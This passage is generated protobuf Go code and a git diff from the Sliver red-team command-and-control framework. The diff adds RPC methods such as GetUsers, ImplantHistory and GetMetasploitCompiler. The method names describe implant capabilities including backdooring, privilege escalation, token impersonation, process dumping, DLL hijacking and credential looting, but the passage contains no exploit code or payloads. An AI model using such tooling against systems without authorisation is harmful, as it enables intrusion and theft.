rpcpb.SliverRPC.ImplantBuilds:input_type -> commonpb.Empty + 38, // 72: rpcpb.SliverRPC.DeleteImplantBuild:input_type -> clientpb.DeleteReq + 0, // 73: rpcpb.SliverRPC.Canaries:input_type -> commonpb.Empty + 0, // 74: rpcpb.SliverRPC.GenerateWGClientConfig:input_type -> commonpb.Empty + 0, // 75: rpcpb.SliverRPC.GenerateUniqueIP:input_type -> commonpb.Empty + 0, // 76: rpcpb.SliverRPC.ImplantProfiles:input_type -> commonpb.Empty + 38, // 77: rpcpb.SliverRPC.DeleteImplantProfile:input_type -> clientpb.DeleteReq + 39, // 78: rpcpb.SliverRPC.SaveImplantProfile:input_type -> clientpb.ImplantProfile + 40, // 79: rpcpb.SliverRPC.MsfStage:input_type -> clientpb.MsfStagerReq + 41, // 80: rpcpb.SliverRPC.ShellcodeRDI:input_type -> clientpb.ShellcodeRDIReq + 0, // 81: rpcpb.SliverRPC.GetCompiler:input_type -> commonpb.Empty + 0, // 82: rpcpb.SliverRPC.GetMetasploitCompiler:input_type -> commonpb.Empty + 42, // 83: rpcpb.SliverRPC.ShellcodeEncoder:input_type -> clientpb.ShellcodeEncodeReq + 0, // 84: rpcpb.SliverRPC.ShellcodeEncoderMap:input_type -> commonpb.Empty + 0, // 85: rpcpb.SliverRPC.TrafficEncoderMap:input_type -> commonpb.Empty + 43, // 86: rpcpb.SliverRPC.TrafficEncoderAdd:input_type -> clientpb.TrafficEncoder + 43, // 87: rpcpb.SliverRPC.TrafficEncoderRm:input_type -> clientpb.TrafficEncoder + 0, // 88: rpcpb.SliverRPC.Websites:input_type -> commonpb.Empty + 44, // 89: rpcpb.SliverRPC.Website:input_type -> clientpb.Website + 44, // 90: rpcpb.SliverRPC.WebsiteRemove:input_type -> clientpb.Website + 45, // 91: rpcpb.SliverRPC.WebsiteAddContent:input_type -> clientpb.WebsiteAddContent + 45, // 92: rpcpb.SliverRPC.WebsiteUpdateContent:input_type -> clientpb.WebsiteAddContent + 46, // 93: rpcpb.SliverRPC.WebsiteRemoveContent:input_type -> clientpb.WebsiteRemoveContent + 47, // 94: rpcpb.SliverRPC.Ping:input_type -> sliverpb.Ping + 48, // 95: rpcpb.SliverRPC.Ps:input_type -> sliverpb.PsReq + 49, // 96: rpcpb.SliverRPC.Terminate:input_type -> sliverpb.TerminateReq + 50, // 97: rpcpb.SliverRPC.Ifconfig:input_type -> sliverpb.IfconfigReq + 51, // 98: rpcpb.SliverRPC.Netstat:input_type -> sliverpb.NetstatReq + 52, // 99: rpcpb.SliverRPC.Ls:input_type -> sliverpb.LsReq + 53, // 100: rpcpb.SliverRPC.Cd:input_type -> sliverpb.CdReq + 54, // 101: rpcpb.SliverRPC.Pwd:input_type -> sliverpb.PwdReq + 55, // 102: rpcpb.SliverRPC.Mv:input_type -> sliverpb.MvReq + 56, // 103: rpcpb.SliverRPC.Cp:input_type -> sliverpb.CpReq + 57, // 104: rpcpb.SliverRPC.Rm:input_type -> sliverpb.RmReq + 58, // 105: rpcpb.SliverRPC.Mkdir:input_type -> sliverpb.MkdirReq + 59, // 106: rpcpb.SliverRPC.Download:input_type -> sliverpb.DownloadReq + 60, // 107: rpcpb.SliverRPC.Upload:input_type -> sliverpb.UploadReq + 61, // 108: rpcpb.SliverRPC.Grep:input_type -> sliverpb.GrepReq + 62, // 109: rpcpb.SliverRPC.Chmod:input_type -> sliverpb.ChmodReq + 63, // 110: rpcpb.SliverRPC.Chown:input_type -> sliverpb.ChownReq + 64, // 111: rpcpb.SliverRPC.Chtimes:input_type -> sliverpb.ChtimesReq + 65, // 112: rpcpb.SliverRPC.MemfilesList:input_type -> sliverpb.MemfilesListReq + 66, // 113: rpcpb.SliverRPC.MemfilesAdd:input_type -> sliverpb.MemfilesAddReq + 67, // 114: rpcpb.SliverRPC.MemfilesRm:input_type -> sliverpb.MemfilesRmReq + 68, // 115: rpcpb.SliverRPC.ProcessDump:input_type -> sliverpb.ProcessDumpReq + 69, // 116: rpcpb.SliverRPC.RunAs:input_type -> sliverpb.RunAsReq + 70, // 117: rpcpb.SliverRPC.Impersonate:input_type -> sliverpb.ImpersonateReq + 71, // 118: rpcpb.SliverRPC.RevToSelf:input_type -> sliverpb.RevToSelfReq + 72, // 119: rpcpb.SliverRPC.GetSystem:input_type -> clientpb.GetSystemReq + 73, // 120: rpcpb.SliverRPC.Task:input_type -> sliverpb.TaskReq + 74, // 121: rpcpb.SliverRPC.Msf:input_type -> clientpb.MSFReq + 75, // 122: rpcpb.SliverRPC.MsfRemote:input_type -> clientpb.MSFRemoteReq + 76, // 123: rpcpb.SliverRPC.ExecuteAssembly:input_type -> sliverpb.ExecuteAssemblyReq + 77, // 124: rpcpb.SliverRPC.Migrate:input_type -> clientpb.MigrateReq + 78, // 125: rpcpb.SliverRPC.Execute:input_type -> sliverpb.ExecuteReq + 79, // 126: rpcpb.SliverRPC.ExecuteWindows:input_type -> sliverpb.ExecuteWindowsReq + 80, // 127: rpcpb.SliverRPC.Sideload:input_type -> sliverpb.SideloadReq + 81, // 128: rpcpb.SliverRPC.SpawnDll:input_type -> sliverpb.InvokeSpawnDllReq + 82, // 129: rpcpb.SliverRPC.Screenshot:input_type -> sliverpb.ScreenshotReq + 83, // 130: rpcpb.SliverRPC.CurrentTokenOwner:input_type -> sliverpb.CurrentTokenOwnerReq + 84, // 131: rpcpb.SliverRPC.PivotStartListener:input_type -> sliverpb.PivotStartListenerReq + 85, // 132: rpcpb.SliverRPC.PivotStopListener:input_type -> sliverpb.PivotStopListenerReq + 86, // 133: rpcpb.SliverRPC.PivotSessionListeners:input_type -> sliverpb.PivotListenersReq + 0, // 134: rpcpb.SliverRPC.PivotGraph:input_type -> commonpb.Empty + 87, // 135: rpcpb.SliverRPC.StartService:input_type -> sliverpb.StartServiceReq + 88, // 136: rpcpb.SliverRPC.StopService:input_type -> sliverpb.StopServiceReq + 89, // 137: rpcpb.SliverRPC.RemoveService:input_type -> sliverpb.RemoveServiceReq + 90, // 138: rpcpb.SliverRPC.MakeToken:input_type -> sliverpb.MakeTokenReq + 91, // 139: rpcpb.SliverRPC.GetEnv:input_type -> sliverpb.EnvReq + 92, // 140: rpcpb.SliverRPC.SetEnv:input_type -> sliverpb.SetEnvReq + 93, // 141: rpcpb.SliverRPC.UnsetEnv:input_type -> sliverpb.UnsetEnvReq + 94, // 142: rpcpb.SliverRPC.Backdoor:input_type -> clientpb.BackdoorReq + 95, // 143: rpcpb.SliverRPC.RegistryRead:input_type -> sliverpb.RegistryReadReq + 96, // 144: rpcpb.SliverRPC.RegistryWrite:input_type -> sliverpb.RegistryWriteReq + 97, // 145: rpcpb.SliverRPC.RegistryCreateKey:input_type -> sliverpb.RegistryCreateKeyReq + 98, // 146: rpcpb.SliverRPC.RegistryDeleteKey:input_type -> sliverpb.RegistryDeleteKeyReq + 99, // 147: rpcpb.SliverRPC.RegistryListSubKeys:input_type -> sliverpb.RegistrySubKeyListReq + 100, // 148: rpcpb.SliverRPC.RegistryListValues:input_type -> sliverpb.RegistryListValuesReq + 101, // 149: rpcpb.SliverRPC.RunSSHCommand:input_type -> sliverpb.SSHCommandReq + 102, // 150: rpcpb.SliverRPC.HijackDLL:input_type -> clientpb.DllHijackReq + 103, // 151: rpcpb.SliverRPC.GetPrivs:input_type -> sliverpb.GetPrivsReq + 104, // 152: rpcpb.SliverRPC.StartRportFwdListener:input_type -> sliverpb.RportFwdStartListenerReq + 105, // 153: rpcpb.SliverRPC.GetRportFwdListeners:input_type -> sliverpb.RportFwdListenersReq + 106, // 154: rpcpb.SliverRPC.StopRportFwdListener:input_type -> sliverpb.RportFwdStopListenerReq + 107, // 155: rpcpb.SliverRPC.OpenSession:input_type -> sliverpb.OpenSession + 108, // 156: rpcpb.SliverRPC.CloseSession:input_type -> sliverpb.CloseSession + 109, // 157: rpcpb.SliverRPC.RegisterExtension:input_type -> sliverpb.RegisterExtensionReq + 110, // 158: rpcpb.SliverRPC.CallExtension:input_type -> sliverpb.CallExtensionReq + 111, // 159: rpcpb.SliverRPC.ListExtensions:input_type -> sliverpb.ListExtensionsReq + 112, // 160: rpcpb.SliverRPC.RegisterWasmExtension:input_type -> sliverpb.RegisterWasmExtensionReq + 113, // 161: rpcpb.SliverRPC.ListWasmExtensions:input_type -> sliverpb.ListWasmExtensionsReq + 114, // 162: rpcpb.SliverRPC.ExecWasmExtension:input_type -> sliverpb.ExecWasmExtensionReq + 115, // 163: rpcpb.SliverRPC.WGStartPortForward:input_type -> sliverpb.WGPortForwardStartReq + 116, // 164: rpcpb.SliverRPC.WGStopPortForward:input_type -> sliverpb.WGPortForwardStopReq + 117, // 165: rpcpb.SliverRPC.WGStartSocks:input_type -> sliverpb.WGSocksStartReq + 118, // 166: rpcpb.SliverRPC.WGStopSocks:input_type -> sliverpb.WGSocksStopReq + 119, // 167: rpcpb.SliverRPC.WGListForwarders:input_type -> sliverpb.WGTCPForwardersReq + 120, // 168: rpcpb.SliverRPC.WGListSocksServers:input_type -> sliverpb.WGSocksServersReq + 121, // 169: rpcpb.SliverRPC.Shell:input_type -> sliverpb.ShellReq + 122, // 170: rpcpb.SliverRPC.Portfwd:input_type -> sliverpb.PortfwdReq + 123, // 171: rpcpb.SliverRPC.CreateSocks:input_type -> sliverpb.Socks + 123, // 172: rpcpb.SliverRPC.CloseSocks:input_type -> sliverpb.Socks + 124, // 173: rpcpb.SliverRPC.SocksProxy:input_type -> sliverpb.SocksData + 125, // 174: rpcpb.SliverRPC.CreateTunnel:input_type -> sliverpb.Tunnel + 125, // 175: rpcpb.SliverRPC.CloseTunnel:input_type -> sliverpb.Tunnel + 126, // 176: rpcpb.SliverRPC.TunnelData:input_type -> sliverpb.TunnelData + 0, // 177: rpcpb.SliverRPC.Events:input_type -> commonpb.Empty + 127, // 178: rpcpb.SliverRPC.GetVersion:output_type -> clientpb.Version + 128, // 179: rpcpb.SliverRPC.GetUsers:output_type -> clientpb.Users + 0, // 180: rpcpb.SliverRPC.ClientLog:output_type -> commonpb.Empty + 0, // 181: rpcpb.SliverRPC.Kill:output_type -> commonpb.Empty + 129, // 182: rpcpb.SliverRPC.Reconfigure:output_type -> sliverpb.Reconfigure + 0, // 183: rpcpb.SliverRPC.Rename:output_type -> commonpb.Empty + 0, // 184: rpcpb.SliverRPC.ImplantHistory:output_type -> commonpb.Empty + 130, // 185: rpcpb.SliverRPC.GetImplantHistory:output_type -> clientpb.History + 131, // 186: rpcpb.SliverRPC.GetSessions:output_type -> clientpb.Sessions + 132, // 187: rpcpb.SliverRPC.MonitorStart:output_type -> commonpb.Response + 0, // 188: rpcpb.SliverRPC.MonitorStop:output_type -> commonpb.Empty + 133, // 189: rpcpb.SliverRPC.MonitorListConfig:output_type -> clientpb.MonitoringProviders + 132, // 190: rpcpb.SliverRPC.MonitorAddConfig:output_type -> commonpb.Response + 132, // 191: rpcpb.SliverRPC.MonitorDelConfig:output_type -> commonpb.Response + 134, // 192: rpcpb.SliverRPC.StartMTLSListener:output_type -> clientpb.ListenerJob + 134, // 193: rpcpb.SliverRPC.StartWGListener:output_type -> clientpb.ListenerJob + 134, // 194: rpcpb.SliverRPC.StartDNSListener:output_type -> clientpb.ListenerJob + 134, // 195: rpcpb.SliverRPC.StartHTTPSListener:output_type -> clientpb.ListenerJob + 134, // 196: rpcpb.SliverRPC.StartHTTPListener:output_type -> clientpb.ListenerJob + 135, // 197: rpcpb.SliverRPC.GetBeacons:output_type -> clientpb.Beacons + 12, // 198: rpcpb.SliverRPC.GetBeacon:output_type -> clientpb.Beacon + 0, // 199: rpcpb.SliverRPC.RmBeacon:output_type -> commonpb.Empty + 136, // 200: rpcpb.SliverRPC.GetBeaconTasks:output_type -> clientpb.BeaconTasks + 13, // 201: rpcpb.SliverRPC.GetBeaconTaskContent:output_type -> clientpb.BeaconTask + 13, // 202: rpcpb.SliverRPC.CancelBeaconTask:output_type -> clientpb.BeaconTask + 137, // 203: rpcpb.SliverRPC.GetJobs:output_type -> clientpb.Jobs + 138, // 204: rpcpb.SliverRPC.KillJob:output_type -> clientpb.KillJob + 0, // 205: rpcpb.SliverRPC.RestartJobs:output_type -> commonpb.Empty + 139, // 206: rpcpb.SliverRPC.StartTCPStagerListener:output_type -> clientpb.StagerListener + 17, // 207: rpcpb.SliverRPC.LootAdd:output_type -> clientpb.Loot + 0, // 208: rpcpb.SliverRPC.LootRm:output_type -> commonpb.Empty + 17, // 209: rpcpb.SliverRPC.LootUpdate:output_type -> clientpb.Loot + 17, // 210: rpcpb.SliverRPC.LootContent:output_type -> clientpb.Loot + 140, // 211: rpcpb.SliverRPC.LootAll:output_type -> clientpb.AllLoot + 18, // 212: rpcpb.SliverRPC.Creds:output_type -> clientpb.Credentials + 0, // 213: rpcpb.SliverRPC.CredsAdd:output_type -> commonpb.Empty + 0, // 214: rpcpb.SliverRPC.CredsRm:output_type -> commonpb.Empty + 0, // 215: rpcpb.SliverRPC.CredsUpdate:output_type -> commonpb.Empty + 19, // 216: rpcpb.SliverRPC.GetCredByID:output_type -> clientpb.Credential + 18, // 217: rpcpb.SliverRPC.GetCredsByHashType:output_type -> clientpb.Credentials + 18, // 218: rpcpb.SliverRPC.GetPlaintextCredsByHashType:output_type -> clientpb.Credentials + 19, // 219: rpcpb.SliverRPC.CredsSniffHashType:output_type -> clientpb.Credential + 141, // 220: rpcpb.SliverRPC.Hosts:output_type -> clientpb.AllHosts + 20, // 221: rpcpb.SliverRPC.Host:output_type -> clientpb.Host + 0, // 222: rpcpb.SliverRPC.HostRm:output_type -> commonpb.Empty + 0, // 223: rpcpb.SliverRPC.HostIOCRm:output_type -> commonpb.Empty + 142, // 224: rpcpb.SliverRPC.Generate:output_type -> clientpb.Generate + 143, // 225: rpcpb.SliverRPC.GenerateExternal:output_type -> clientpb.ExternalImplantConfig + 0, // 226: rpcpb.SliverRPC.GenerateExternalSaveBuild:output_type -> commonpb.Empty + 143, // 227: rpcpb.SliverRPC.GenerateExternalGetBuildConfig:output_type -> clientpb.ExternalImplantConfig + 142, // 228: rpcpb.SliverRPC.GenerateStage:output_type -> clientpb.Generate + 0, // 229: rpcpb.SliverRPC.StageImplantBuild:output_type -> commonpb.Empty + 144, // 230: rpcpb.SliverRPC.GetHTTPC2Profiles:output_type -> clientpb.HTTPC2Configs + 145, // 231: rpcpb.SliverRPC.GetHTTPC2ProfileByName:output_type -> clientpb.HTTPC2Config + 0, // 232: rpcpb.SliverRPC.SaveHTTPC2Profile:output_type -> commonpb.Empty + 31, // 233: rpcpb.SliverRPC.BuilderRegister:output_type -> clientpb.Event + 0, // 234: rpcpb.SliverRPC.BuilderTrigger:output_type -> commonpb.Empty + 146, // 235: rpcpb.SliverRPC.Builders:output_type -> clientpb.Builders + 31, // 236: rpcpb.SliverRPC.CrackstationRegister:output_type -> clientpb.Event + 0, // 237: rpcpb.SliverRPC.CrackstationTrigger:output_type -> commonpb.Empty + 0, // 238: rpcpb.SliverRPC.CrackstationBenchmark:output_type -> commonpb.Empty + 147, // 239: rpcpb.SliverRPC.Crackstations:output_type -> clientpb.Crackstations + 34, // 240: rpcpb.SliverRPC.CrackTaskByID:output_type -> clientpb.CrackTask + 0, // 241: rpcpb.SliverRPC.CrackTaskUpdate:output_type -> commonpb.Empty + 148, // 242: rpcpb.SliverRPC.CrackFilesList:output_type -> clientpb.CrackFiles + 35, // 243: rpcpb.SliverRPC.CrackFileCreate:output_type -> clientpb.CrackFile + 0, // 244: rpcpb.SliverRPC.CrackFileChunkUpload:output_type -> commonpb.Empty + 36, // 245: rpcpb.SliverRPC.CrackFileChunkDownload:output_type -> clientpb.CrackFileChunk + 0, // 246: rpcpb.SliverRPC.CrackFileComplete:output_type -> commonpb.Empty + 0, // 247: rpcpb.SliverRPC.CrackFileDelete:output_type -> commonpb.Empty + 142, // 248: rpcpb.SliverRPC.Regenerate:output_type -> clientpb.Generate + 149, // 249: rpcpb.SliverRPC.ImplantBuilds:output_type -> clientpb.ImplantBuilds + 0, // 250: rpcpb.SliverRPC.DeleteImplantBuild:output_type -> commonpb.Empty + 150, // 251: rpcpb.SliverRPC.Canaries:output_type -> clientpb.Canaries + 151, // 252: rpcpb.SliverRPC.GenerateWGClientConfig:output_type -> clientpb.WGClientConfig + 152, // 253: rpcpb.SliverRPC.GenerateUniqueIP:output_type -> clientpb.UniqueWGIP + 153, // 254: rpcpb.SliverRPC.ImplantProfiles:output_type -> clientpb.ImplantProfiles + 0, // 255: rpcpb.SliverRPC.DeleteImplantProfile:output_type -> commonpb.Empty + 39, // 256: rpcpb.SliverRPC.SaveImplantProfile:output_type -> clientpb.ImplantProfile + 154, // 257: rpcpb.SliverRPC.MsfStage:output_type -> clientpb.MsfStager + 155, // 258: rpcpb.SliverRPC.ShellcodeRDI:output_type -> clientpb.ShellcodeRDI + 156, // 259: rpcpb.SliverRPC.GetCompiler:output_type -> clientpb.Compiler + 157, // 260: rpcpb.SliverRPC.GetMetasploitCompiler:output_type -> clientpb.MetasploitCompiler + 158, // 261: rpcpb.SliverRPC.ShellcodeEncoder:output_type -> clientpb.ShellcodeEncode + 159, // 262: rpcpb.SliverRPC.ShellcodeEncoderMap:output_type -> clientpb.ShellcodeEncoderMap + 160, // 263: rpcpb.SliverRPC.TrafficEncoderMap:output_type -> clientpb.TrafficEncoderMap + 161, // 264: rpcpb.SliverRPC.TrafficEncoderAdd:output_type -> clientpb.TrafficEncoderTests + 0, // 265: rpcpb.SliverRPC.TrafficEncoderRm:output_type -> commonpb.Empty + 162, // 266: rpcpb.SliverRPC.Websites:output_type -> clientpb.Websites + 44, // 267: rpcpb.SliverRPC.Website:output_type -> clientpb.Website + 0, // 268: rpcpb.SliverRPC.WebsiteRemove:output_type -> commonpb.Empty + 44, // 269: rpcpb.SliverRPC.WebsiteAddContent:output_type -> clientpb.Website + 44, // 270: rpcpb.SliverRPC.WebsiteUpdateContent:output_type -> clientpb.Website + 44, // 271: rpcpb.SliverRPC.WebsiteRemoveContent:output_type -> clientpb.Website + 47, // 272: rpcpb.SliverRPC.Ping:output_type -> sliverpb.Ping + 163, // 273: rpcpb.SliverRPC.Ps:output_type -> sliverpb.Ps + 164, // 274: rpcpb.SliverRPC.Terminate:output_type -> sliverpb.Terminate + 165, // 275: rpcpb.SliverRPC.Ifconfig:output_type -> sliverpb.Ifconfig + 166, // 276: rpcpb.SliverRPC.Netstat:output_type -> sliverpb.Netstat + 167, // 277: rpcpb.SliverRPC.Ls:output_type -> sliverpb.Ls + 168, // 278: rpcpb.SliverRPC.Cd:output_type -> sliverpb.Pwd + 168, // 279: rpcpb.SliverRPC.Pwd:output_type -> sliverpb.Pwd + 169, // 280: rpcpb.SliverRPC.Mv:output_type -> sliverpb.Mv + 170, // 281: rpcpb.SliverRPC.Cp:output_type -> sliverpb.Cp + 171, // 282: rpcpb.SliverRPC.Rm:output_type -> sliverpb.Rm + 172, // 283: rpcpb.SliverRPC.Mkdir:output_type -> sliverpb.Mkdir + 173, // 284: rpcpb.SliverRPC.Download:output_type -> sliverpb.Download + 174, // 285: rpcpb.SliverRPC.Upload:output_type -> sliverpb.Upload + 175, // 286: rpcpb.SliverRPC.Grep:output_type -> sliverpb.Grep + 176, // 287: rpcpb.SliverRPC.Chmod:output_type -> sliverpb.Chmod + 177, // 288: rpcpb.SliverRPC.Chown:output_type -> sliverpb.Chown + 178, // 289: rpcpb.SliverRPC.Chtimes:output_type -> sliverpb.Chtimes + 167, // 290: rpcpb.SliverRPC.MemfilesList:output_type -> sliverpb.Ls + 179, // 291: rpcpb.SliverRPC.MemfilesAdd:output_type -> sliverpb.MemfilesAdd + 180, // 292: rpcpb.SliverRPC.MemfilesRm:output_type -> sliverpb.MemfilesRm + 181, // 293: rpcpb.SliverRPC.ProcessDump:output_type -> sliverpb.ProcessDump + 182, // 294: rpcpb.SliverRPC.RunAs:output_type -> sliverpb.RunAs + 183, // 295: rpcpb.SliverRPC.Impersonate:output_type -> sliverpb.Impersonate + 184, // 296: rpcpb.SliverRPC.RevToSelf:output_type -> sliverpb.RevToSelf + 185, // 297: rpcpb.SliverRPC.GetSystem:output_type -> sliverpb.GetSystem + 186, // 298: rpcpb.SliverRPC.Task:output_type -> sliverpb.Task + 186, // 299: rpcpb.SliverRPC.Msf:output_type -> sliverpb.Task + 186, // 300: rpcpb.SliverRPC.MsfRemote:output_type -> sliverpb.Task + 187, // 301: rpcpb.SliverRPC.ExecuteAssembly:output_type -> sliverpb.ExecuteAssembly + 188, // 302: rpcpb.SliverRPC.Migrate:output_type -> sliverpb.Migrate + 189, // 303: rpcpb.SliverRPC.Execute:output_type -> sliverpb.Execute + 189, // 304: rpcpb.SliverRPC.ExecuteWindows:output_type -> sliverpb.Execute + 190, // 305: rpcpb.SliverRPC.Sideload:output_type -> sliverpb.Sideload + 191, // 306: rpcpb.SliverRPC.SpawnDll:output_type -> sliverpb.SpawnDll + 192, // 307: rpcpb.SliverRPC.Screenshot:output_type -> sliverpb.Screenshot + 193, // 308: rpcpb.SliverRPC.CurrentTokenOwner:output_type -> sliverpb.CurrentTokenOwner + 194, // 309: rpcpb.SliverRPC.PivotStartListener:output_type -> sliverpb.PivotListener + 0, // 310: rpcpb.SliverRPC.PivotStopListener:output_type -> commonpb.Empty + 195, // 311: rpcpb.SliverRPC.PivotSessionListeners:output_type -> sliverpb.PivotListeners + 196, // 312: rpcpb.SliverRPC.PivotGraph:output_type -> clientpb.PivotGraph + 197, // 313: rpcpb.SliverRPC.StartService:output_type -> sliverpb.ServiceInfo + 197, // 314: rpcpb.SliverRPC.StopService:output_type -> sliverpb.ServiceInfo + 197, // 315: rpcpb.SliverRPC.RemoveService:output_type -> sliverpb.ServiceInfo + 198, // 316: rpcpb.SliverRPC.MakeToken:output_type -> sliverpb.MakeToken + 199, // 317: rpcpb.SliverRPC.GetEnv:output_type -> sliverpb.EnvInfo + 200, // 318: rpcpb.SliverRPC.SetEnv:output_type -> sliverpb.SetEnv + 201, // 319: rpcpb.SliverRPC.UnsetEnv:output_type -> sliverpb.UnsetEnv + 202, // 320: rpcpb.SliverRPC.Backdoor:output_type -> clientpb.Backdoor + 203, // 321: rpcpb.SliverRPC.RegistryRead:output_type -> sliverpb.RegistryRead + 204, // 322: rpcpb.SliverRPC.RegistryWrite:output_type -> sliverpb.RegistryWrite + 205, // 323: rpcpb.SliverRPC.RegistryCreateKey:output_type -> sliverpb.RegistryCreateKey + 206, // 324: rpcpb.SliverRPC.RegistryDeleteKey:output_type -> sliverpb.RegistryDeleteKey + 207, // 325: rpcpb.SliverRPC.RegistryListSubKeys:output_type -> sliverpb.RegistrySubKeyList + 208, // 326: rpcpb.SliverRPC.RegistryListValues:output_type -> sliverpb.RegistryValuesList + 209, // 327: rpcpb.SliverRPC.RunSSHCommand:output_type -> sliverpb.SSHCommand + 210, // 328: rpcpb.SliverRPC.HijackDLL:output_type -> clientpb.DllHijack + 211, // 329: rpcpb.SliverRPC.GetPrivs:output_type -> sliverpb.GetPrivs + 212, // 330: rpcpb.SliverRPC.StartRportFwdListener:output_type -> sliverpb.RportFwdListener + 213, // 331: rpcpb.SliverRPC.GetRportFwdListeners:output_type -> sliverpb.RportFwdListeners + 212, // 332: rpcpb.SliverRPC.StopRportFwdListener:output_type -> sliverpb.RportFwdListener + 107, // 333: rpcpb.SliverRPC.OpenSession:output_type -> sliverpb.OpenSession + 0, // 334: rpcpb.SliverRPC.CloseSession:output_type -> commonpb.Empty + 214, // 335: rpcpb.SliverRPC.RegisterExtension:output_type -> sliverpb.RegisterExtension + 215, // 336: rpcpb.SliverRPC.CallExtension:output_type -> sliverpb.CallExtension + 216, // 337: rpcpb.SliverRPC.ListExtensions:output_type -> sliverpb.ListExtensions + 217, // 338: rpcpb.SliverRPC.RegisterWasmExtension:output_type -> sliverpb.RegisterWasmExtension + 218, // 339: rpcpb.SliverRPC.ListWasmExtensions:output_type -> sliverpb.ListWasmExtensions + 219, // 340: rpcpb.SliverRPC.ExecWasmExtension:output_type -> sliverpb.ExecWasmExtension + 220, // 341: rpcpb.SliverRPC.WGStartPortForward:output_type -> sliverpb.WGPortForward + 220, // 342: rpcpb.SliverRPC.WGStopPortForward:output_type -> sliverpb.WGPortForward + 221, // 343: rpcpb.SliverRPC.WGStartSocks:output_type -> sliverpb.WGSocks + 221, // 344: rpcpb.SliverRPC.WGStopSocks:output_type -> sliverpb.WGSocks + 222, // 345: rpcpb.SliverRPC.WGListForwarders:output_type -> sliverpb.WGTCPForwarders + 223, // 346: rpcpb.SliverRPC.WGListSocksServers:output_type -> sliverpb.WGSocksServers + 224, // 347: rpcpb.SliverRPC.Shell:output_type -> sliverpb.Shell + 225, // 348: rpcpb.SliverRPC.Portfwd:output_type -> sliverpb.Portfwd + 123, // 349: rpcpb.SliverRPC.CreateSocks:output_type -> sliverpb.Socks + 0, // 350: rpcpb.SliverRPC.CloseSocks:output_type -> commonpb.Empty + 124, // 351: rpcpb.SliverRPC.SocksProxy:output_type -> sliverpb.SocksData + 125, // 352: rpcpb.SliverRPC.CreateTunnel:output_type -> sliverpb.Tunnel + 0, // 353: rpcpb.SliverRPC.CloseTunnel:output_type -> commonpb.Empty + 126, // 354: rpcpb.SliverRPC.TunnelData:output_type -> sliverpb.TunnelData + 31, // 355: rpcpb.SliverRPC.Events:output_type -> clientpb.Event + 178, // [178:356] is the sub-list for method output_type + 0, // [0:178] is the sub-list for method input_type 0, // [0:0] is the sub-list for extension type_name 0, // [0:0] is the sub-list for extension extendee 0, // [0:0] is the sub-list for field type_name diff --git a/protobuf/rpcpb/services.proto b/protobuf/rpcpb/services.proto index 9ff0ab8e25..37423cbfda 100644 --- a/protobuf/rpcpb/services.proto +++ b/protobuf/rpcpb/services.proto @@ -8,20 +8,21 @@ import "clientpb/client.proto"; service SliverRPC { - // *** Version *** + // *** Teamclient *** rpc GetVersion(commonpb.Empty) returns (clientpb.Version); + rpc GetUsers(commonpb.Empty) returns (clientpb.Users); // *** Client Logs *** rpc ClientLog(stream clientpb.ClientLogData) returns (commonpb.Empty); - // *** Operator Commands *** - rpc GetOperators(commonpb.Empty) returns (clientpb.Operators); - // *** Generic *** rpc Kill(sliverpb.KillReq) returns (commonpb.Empty); rpc Reconfigure(sliverpb.ReconfigureReq) returns (sliverpb.Reconfigure); rpc Rename(clientpb.RenameReq) returns (commonpb.Empty); + rpc ImplantHistory(stream clientpb.ImplantCommand) returns (commonpb.Empty); + rpc GetImplantHistory(clientpb.HistoryRequest) returns (clientpb.History); + // *** Sessions *** rpc GetSessions(commonpb.Empty) returns (clientpb.Sessions); @@ -135,6 +136,7 @@ service SliverRPC { rpc MsfStage(clientpb.MsfStagerReq) returns (clientpb.MsfStager); rpc ShellcodeRDI(clientpb.ShellcodeRDIReq) returns (clientpb.ShellcodeRDI); rpc GetCompiler(commonpb.Empty) returns (clientpb.Compiler); + rpc GetMetasploitCompiler(commonpb.Empty) returns (clientpb.MetasploitCompiler); rpc ShellcodeEncoder(clientpb.ShellcodeEncodeReq) returns (clientpb.ShellcodeEncode); rpc ShellcodeEncoderMap(commonpb.Empty) diff --git a/protobuf/rpcpb/services_grpc.pb.go b/protobuf/rpcpb/services_grpc.pb.go index 51d0c09b21..ae7c1b0fbf 100644 --- a/protobuf/rpcpb/services_grpc.pb.go +++ b/protobuf/rpcpb/services_grpc.pb.go @@ -1,7 +1,7 @@ // Code generated by protoc-gen-go-grpc. DO NOT EDIT. // versions: // - protoc-gen-go-grpc v1.3.0 -// - protoc v4.25.0 +// - protoc v3.15.8 // source: rpcpb/services.proto package rpcpb @@ -23,11 +23,13 @@ const _ = grpc.SupportPackageIsVersion7 const ( SliverRPC_GetVersion_FullMethodName = "/rpcpb.SliverRPC/GetVersion" + SliverRPC_GetUsers_FullMethodName = "/rpcpb.SliverRPC/GetUsers" SliverRPC_ClientLog_FullMethodName = "/rpcpb.SliverRPC/ClientLog" - SliverRPC_GetOperators_FullMethodName = "/rpcpb.SliverRPC/GetOperators" SliverRPC_Kill_FullMethodName = "/rpcpb.SliverRPC/Kill" SliverRPC_Reconfigure_FullMethodName = "/rpcpb.SliverRPC/Reconfigure" SliverRPC_Rename_FullMethodName = "/rpcpb.SliverRPC/Rename" + SliverRPC_ImplantHistory_FullMethodName = "/rpcpb.SliverRPC/ImplantHistory" + SliverRPC_GetImplantHistory_FullMethodName = "/rpcpb.SliverRPC/GetImplantHistory" SliverRPC_GetSessions_FullMethodName = "/rpcpb.SliverRPC/GetSessions" SliverRPC_MonitorStart_FullMethodName = "/rpcpb.SliverRPC/MonitorStart" SliverRPC_MonitorStop_FullMethodName = "/rpcpb.SliverRPC/MonitorStop" @@ -102,6 +104,7 @@ const ( SliverRPC_MsfStage_FullMethodName = "/rpcpb.SliverRPC/MsfStage" SliverRPC_ShellcodeRDI_FullMethodName = "/rpcpb.SliverRPC/ShellcodeRDI" SliverRPC_GetCompiler_FullMethodName = "/rpcpb.SliverRPC/GetCompiler" + SliverRPC_GetMetasploitCompiler_FullMethodName = "/rpcpb.SliverRPC/GetMetasploitCompiler" SliverRPC_ShellcodeEncoder_FullMethodName = "/rpcpb.SliverRPC/ShellcodeEncoder" SliverRPC_ShellcodeEncoderMap_FullMethodName = "/rpcpb.SliverRPC/ShellcodeEncoderMap" SliverRPC_TrafficEncoderMap_FullMethodName = "/rpcpb.SliverRPC/TrafficEncoderMap" @@ -203,16 +206,17 @@ const ( // // For semantics around ctx use and closing/ending streaming RPCs, please refer to https://pkg.go.dev/google.golang.org/grpc/?tab=doc#ClientConn.NewStream. type SliverRPCClient interface { - // *** Version *** + // *** Teamclient *** GetVersion(ctx context.Context, in *commonpb.Empty, opts ...grpc.CallOption) (*clientpb.Version, error) + GetUsers(ctx context.Context, in *commonpb.Empty, opts 